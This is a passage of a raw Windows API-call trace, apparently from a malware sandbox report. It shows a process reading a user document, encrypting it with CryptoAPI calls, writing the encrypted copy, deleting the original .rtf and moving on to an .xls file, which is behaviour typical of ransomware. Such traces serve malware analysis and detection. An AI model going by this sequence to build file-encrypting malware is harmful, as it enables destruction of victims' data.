lpNewFilePointer=0x0) returned 1 [0073.672] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0073.674] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x7c46, lpOverlapped=0x0) returned 1 [0073.675] ReadFile (in: hFile=0x3ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0073.678] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.679] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.679] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.679] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0073.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.680] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0073.680] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.680] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0073.680] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.680] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.680] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.680] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0073.680] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0073.681] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0073.681] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x1629360, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629360*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0073.681] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.681] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.681] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.681] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.681] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.681] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.681] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.682] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.682] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.682] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.682] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.682] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.682] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.682] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.682] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.682] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.682] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.682] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.684] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.684] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.684] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x17c46, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x17c50) returned 1 [0073.684] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.684] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.684] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.693] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.693] CharLowerBuffW (in: lpsz="byte[97361]", cchLength=0xb | out: lpsz="byte[97361]") returned 0xb [0073.693] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.696] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.696] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.696] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.698] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.698] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.699] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x186d008*, pdwDataLen=0x130e618*=0x17c46, dwBufLen=0x17c50 | out: pbData=0x186d008*, pdwDataLen=0x130e618*=0x17c50) returned 1 [0073.699] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.699] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.699] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.700] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.700] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.700] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.700] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.701] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.701] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.701] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.701] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.701] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.701] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.701] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.707] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.707] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.707] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.708] WriteFile (in: hFile=0x3d0, lpBuffer=0x1884c60*, nNumberOfBytesToWrite=0x17c50, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1884c60*, lpNumberOfBytesWritten=0x130f01c*=0x17c50, lpOverlapped=0x0) returned 1 [0073.710] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.710] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.710] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0073.710] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.710] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.710] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0073.710] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0073.711] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0073.711] CryptDestroyKey (hKey=0x164c530) returned 1 [0073.711] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.711] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.711] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.711] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.711] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.711] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.711] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.711] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.711] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.712] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0073.712] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.712] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.712] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.712] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.712] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.721] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.721] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.721] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.721] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.721] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.721] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.721] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.722] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.722] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.722] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.722] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.722] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.722] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.722] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0073.722] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0073.722] CryptReleaseContext (hProv=0x17aa230, dwFlags=0x0) returned 1 [0073.722] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.722] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.722] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.722] FreeLibrary (hLibModule=0x74c60000) returned 1 [0073.723] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.723] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.723] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.723] CloseHandle (hObject=0x3ac) returned 1 [0073.723] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.723] CloseHandle (hObject=0x3d0) returned 1 [0073.726] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.729] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.729] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", lpFilePart=0x0) returned 0x44 [0073.729] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\hals-prteglwa.rtf")) returned 0x20 [0073.729] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c6b0 [0073.729] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\hals-prteglwa.rtf")) returned 1 [0073.742] FindNextFileW (in: hFindFile=0x164c6b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0073.742] FindClose (in: hFindFile=0x164c6b0 | out: hFindFile=0x164c6b0) returned 1 [0073.742] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.743] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.743] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.743] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.743] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\n6Jwt8Z 8peYl55.xls", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0073.743] 